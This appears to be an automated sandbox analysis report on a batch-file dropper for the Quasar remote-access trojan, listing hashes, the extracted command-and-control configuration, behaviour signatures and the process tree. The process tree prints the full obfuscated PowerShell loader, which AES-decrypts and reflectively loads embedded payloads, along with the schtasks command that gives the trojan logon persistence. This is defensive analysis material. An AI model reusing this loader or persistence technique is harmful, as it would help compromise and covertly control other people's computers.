Analysis
-
max time kernel
147s -
max time network
151s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
18-05-2024 18:46
Static task
static1
General
-
Target
Client-built.bat
-
Size
3.1MB
-
MD5
f84f053137001261cce9e31776b01e01
-
SHA1
630a80e3a213dff1d4659ba2fac138f2ece9366d
-
SHA256
e4f5178dbb9b0219959eacd99064373966d03f1489a10e20e1dd4431fb786bf7
-
SHA512
47df65e8b5ac921bc9f53345374cf88b75fc1afc6804af79f1650c90f0b669376d177d61f273612ae7bdb11ac9aa55db70c4050fe79454d460269643601c2438
-
SSDEEP
49152:62oqWZ7Vz0ECjGkh9OIrmu3+1NqCWrvE1pG:6+
Malware Config
Extracted
quasar
-
reconnect_delay
3000
Extracted
quasar
1.4.1
Office04
192.168.1.190:4782
89963d93-8cbc-464c-9bab-6a9816182fbd
-
encryption_key
3C24DE579D826EDD5888A84E88B1691CD81FA44B
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Signatures
-
Quasar payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/3124-14-0x000002367DDF0000-0x000002367E23E000-memory.dmp family_quasar C:\Users\Admin\AppData\Local\Temp\Client-built.exe family_quasar behavioral1/memory/3124-24-0x000002367E2E0000-0x000002367E604000-memory.dmp family_quasar behavioral1/memory/4860-29-0x00000000002A0000-0x00000000005C4000-memory.dmp family_quasar -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Executes dropped EXE 3 IoCs
Processes:
Client-built.exeClient.exeClient.exepid process 4860 Client-built.exe 2368 Client.exe 2404 Client.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 5008 schtasks.exe 436 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exeClient.exeClient.exepid process 3124 powershell.exe 3124 powershell.exe 2404 Client.exe 2368 Client.exe 2404 Client.exe 2368 Client.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exeClient-built.exeClient.exeClient.exedescription pid process Token: SeDebugPrivilege 3124 powershell.exe Token: SeDebugPrivilege 4860 Client-built.exe Token: SeDebugPrivilege 2404 Client.exe Token: SeDebugPrivilege 2368 Client.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exeClient-built.exedescription pid process target process PID 2184 wrote to memory of 3124 2184 cmd.exe powershell.exe PID 2184 wrote to memory of 3124 2184 cmd.exe powershell.exe PID 3124 wrote to memory of 4860 3124 powershell.exe Client-built.exe PID 3124 wrote to memory of 4860 3124 powershell.exe Client-built.exe PID 4860 wrote to memory of 5008 4860 Client-built.exe schtasks.exe PID 4860 wrote to memory of 5008 4860 Client-built.exe schtasks.exe PID 3124 wrote to memory of 436 3124 powershell.exe schtasks.exe PID 3124 wrote to memory of 436 3124 powershell.exe schtasks.exe PID 4860 wrote to memory of 2368 4860 Client-built.exe Client.exe PID 4860 wrote to memory of 2368 4860 Client-built.exe Client.exe PID 3124 wrote to memory of 2404 3124 powershell.exe Client.exe PID 3124 wrote to memory of 2404 3124 powershell.exe Client.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bScGQN9wVTXjALsxGUQ2VeN/1Tic+xkzldSHB93aFOc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pE3Ow91lg5J2+8gZG7xKaQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $PJDsL=New-Object System.IO.MemoryStream(,$param_var); $mANlg=New-Object System.IO.MemoryStream; $oKWPX=New-Object System.IO.Compression.GZipStream($PJDsL, [IO.Compression.CompressionMode]::Decompress); $oKWPX.CopyTo($mANlg); $oKWPX.Dispose(); $PJDsL.Dispose(); $mANlg.Dispose(); $mANlg.ToArray();}function execute_function($param_var,$param2_var){ $mEgPu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $LmDBe=$mEgPu.EntryPoint; $LmDBe.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tvLyX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($LNPzg in $tvLyX) { if ($LNPzg.StartsWith(':: ')) { $jRwSa=$LNPzg.Substring(3); break; }}$payloads_var=[string[]]$jRwSa.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\Client-built.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
62KB
MD5e566632d8956997225be604d026c9b39
SHA194a9aade75fffc63ed71404b630eca41d3ce130e
SHA256b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
SHA512f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
-
C:\Users\Admin\AppData\Local\Temp\Client-built.exeFilesize
3.1MB
MD51d7898eabee6016c694c3bfdf1a4e476
SHA169fe4e93aa9dac194c7c5de4e23be923ecd77598
SHA256c5b98c44b6ce95d2cb8ff10dc35b5347d0e55b4937ae4c05765d44f876dd9c21
SHA512f9b25d86720748202630b7c7dfda858538922bddf8621955978d5017d01fd6f3ed815f67185525b1a625ab71843f87d87a1a6db76b4851841baa43374dfb5c04
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30543zm3.wjm.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\SubDir\Client.exeFilesize
440KB
MD50e9ccd796e251916133392539572a374
SHA1eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA256c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
SHA512e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
-
memory/2404-58-0x0000015AE06A0000-0x0000015AE06E6000-memory.dmpFilesize
280KB
-
memory/3124-11-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmpFilesize
10.8MB
-
memory/3124-9-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmpFilesize
10.8MB
-
memory/3124-14-0x000002367DDF0000-0x000002367E23E000-memory.dmpFilesize
4.3MB
-
memory/3124-12-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmpFilesize
10.8MB
-
memory/3124-24-0x000002367E2E0000-0x000002367E604000-memory.dmpFilesize
3.1MB
-
memory/3124-63-0x00007FF9A5E33000-0x00007FF9A5E35000-memory.dmpFilesize
8KB
-
memory/3124-10-0x000002367D750000-0x000002367D772000-memory.dmpFilesize
136KB
-
memory/3124-59-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmpFilesize
10.8MB
-
memory/3124-0-0x00007FF9A5E33000-0x00007FF9A5E35000-memory.dmpFilesize
8KB
-
memory/3124-13-0x000002367D640000-0x000002367D648000-memory.dmpFilesize
32KB
-
memory/4860-41-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmpFilesize
10.8MB
-
memory/4860-30-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmpFilesize
10.8MB
-
memory/4860-29-0x00000000002A0000-0x00000000005C4000-memory.dmpFilesize
3.1MB
-
memory/4860-28-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmpFilesize
10.8MB